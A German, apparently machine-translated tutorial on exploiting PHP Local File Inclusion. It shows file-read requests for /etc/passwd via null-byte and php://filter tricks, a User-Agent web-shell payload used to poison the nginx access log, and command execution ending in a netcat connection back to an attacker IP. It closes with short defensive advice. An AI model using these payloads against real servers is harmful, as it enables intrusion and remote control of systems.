Local File Inclusion (LFI) ist die Möglichkeit, lokale Serverdateien zu verwenden. Die Sicherheitsanfälligkeit ermöglicht es einem Remotebenutzer, mithilfe einer speziell gestalteten Anforderung auf beliebige Dateien auf dem Server zuzugreifen, einschließlich möglicherweise vertraulicher Informationen. Heute erfahren Sie, wie ein Angreifer, der diesen Fehler verwendet, Befehle auf einem Remote-Server ausführen kann.
Eine ähnliche Sicherheitsanfälligkeit tritt auf, wenn bei der Implementierung einer Webanwendung unsichere Funktionen verwendet werden, z. B. include , mit denen Sie Inhalte aus einer lokalen Datei in eine Seite einfügen können. In unserem Fall sieht es wie folgt aus :
Dank der include ( „$ file“) Linie, der Wert des GET - Parameter - Datei wird in den Seiteninhalt enthalten sein . Mit dieser Sicherheitsanfälligkeit geben wir nun lokale Dateien zurück, die wir im Parameter angeben.
Der Artikel dient nur zu Informationszwecken. Verstoße nicht gegen das Gesetz.
Erkennung von Sicherheitslücken
Wie finde ich eine Sicherheitslücke? Wenn Sie in einem potenziell anfälligen Parameter angeben, dass eine lokale Datei enthalten sein soll, z. B. ein Index mit einer beliebigen Erweiterung, und diese Datei geöffnet wird, können wir definitiv sagen, dass der Parameter für das Austauschen der Datei verantwortlich ist. Dies kann entweder manuell oder mithilfe verschiedener automatisierter Tools erfolgen, z. B. des in einem unserer Artikel erwähnten Wapiti- Schwachstellenscanners oder eines speziellen Tools LFISuite , das speziell für die Suche und Ausnutzung von LFI-Schwachstellen entwickelt wurde.
Welche Fallstricke kann es geben? Zum Beispiel das Vorhandensein einer Filterung, die die Dateierweiterung am Ende der Zeile ersetzt, z. B. .php . Wenn wir also versuchen, die Datei / etc / passwd in die Seite aufzunehmen, erhalten wir die Datei = / etc / passwd.php in der Adressleiste , und der Inhalt dieser Datei wird nicht auf der Seite angezeigt, da die Datei nicht vorhanden ist. Ein solcher Filter kann jedoch mit dem sogenannten Null-Byte umgangen werden, das alles "abschneidet", was danach kommt. Tatsache ist, dass die gesamte Adressleiste beim Senden einer HTTP-Anfrage in URL-Codierung codiert ist und in dieser Codierung das Null-Byte wie % 00 aussieht . Somit ist die Zeile /etc/passwd%00.phpwird in / etc / passwd konvertiert . Es sollte jedoch beachtet werden, dass dieses Problem ziemlich bekannt ist und in PHP 5.3+ behoben wurde.
Eine andere Option zum Umgehen der Filterung ist die Verwendung des PHP-Filters . In den Parameter, der für das Einschließen von Dateien verantwortlich ist, schreiben wir nicht nur den Pfad zu der Datei, die wir einschließen möchten, sondern auch den Pfad zu der Datei, die diese Funktion verwendet. Nun sieht die Anfrage, die wir senden werden, so aus:
http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
Und jetzt sehen wir auf der Browserseite nicht den Inhalt der Datei, sondern deren Quelle in Base64- Codierung , die dekodiert werden kann: Wir haben
die Hauptpunkte der LFI-Sicherheitsanfälligkeit aussortiert und verstehen jetzt, dass es während ihrer Ausnutzung möglich ist, eine lokale Datei auf einem Remote-Server zu lesen. LFI verfügt jedoch über eine interessante Funktion, mit der Sie nicht nur lokale Dateien lesen, sondern auch den Server gefährden können.
Vergiftung des Webserverprotokolls
Ich denke, es ist sofort erwähnenswert, dass die Sicherheitsanfälligkeit nicht neu ist, aber dennoch auftritt und eine ernsthafte Bedrohung für die Sicherheit eines Webservers darstellen kann. Bei der Interaktion mit einer Webanwendung werden alle unsere Anforderungen in den Webserverprotokollen aufgezeichnet. Dies sind in der Regel die Dateien /var/log/nginx/access.log oder /var/log/nginx/error.log, wenn beispielsweise ein Webserver verwendet wird Nginx , aber die Namen der endgültigen Dateien können natürlich abweichen.
Durch eine spezielle Anfrage erstellen wir jetzt eine Web-Shell auf dem Server und schreiben sie in das access.log . Ändern Sie dazu den User-Agent- Header, indem Sie ihn hinzufügen <? php system ($ _ GET [cmd]); ?> . Um eine Anfrage zu senden, verwenden wir das Burp Suite- Tool , mit dem Sie Anfragen in Echtzeit abfangen und bearbeiten können. Warum wurde User-Agent verwendet ? Wie bereits erwähnt, codiert die Adressleiste Informationen mithilfe der URL-Codierung. Um PHP-Code zu übertragen, müssen Sie daher Header verwenden. Da der User-Agent genau in der Datei access.log geschrieben ist , werden wir sie verwenden.
Die Web-Shell ist geschrieben und einsatzbereit:
Wenn Sie über die LFI-Sicherheitsanfälligkeit auf das Webanwendungsprotokoll zugreifen, wird der Inhalt gelesen und das Skript <? Php system ($ _ GET [cmd]); ?>- execute, wodurch die Verwendung der Variablen " cmd " zum Ausführen von Befehlen auf dem Server ermöglicht wird:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
Im Gegensatz zu LFI, wo der Inhalt einer Datei gelesen werden soll, müssen Sie den vollständigen Pfad dazu angeben. Im zweiten Fall werden beliebige Befehle auf dem Server ausgeführt. Dies bedeutet, dass wir nicht nur die Serverdateien lesen, sondern auch darauf zugreifen können. Zu diesem Zweck geben wir im Parameter cmd den Befehl zum Starten von Netcat an, um mit dem Server des Angreifers zu kommunizieren, dh mit uns:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
Empfehlungen
- Überprüfen Sie regelmäßig die Sicherheit der Webanwendung, um das Auftreten von Sicherheitslücken zu verhindern.
- Fügen Sie die Zeile <? php exit (1) zum Webserver-Protokoll hinzu . ?> . Dieses Skript verhindert alle Versuche, PHP-Code in dieser Datei auszuführen (keine gute Idee, aber es funktioniert, zumindest bis rsyslog die Protokolldatei neu erstellt).
- Verwenden Sie WAF, um eine böswillige Anforderung zu blockieren und zu verhindern, dass sie auf dem Webserver ausgeführt wird.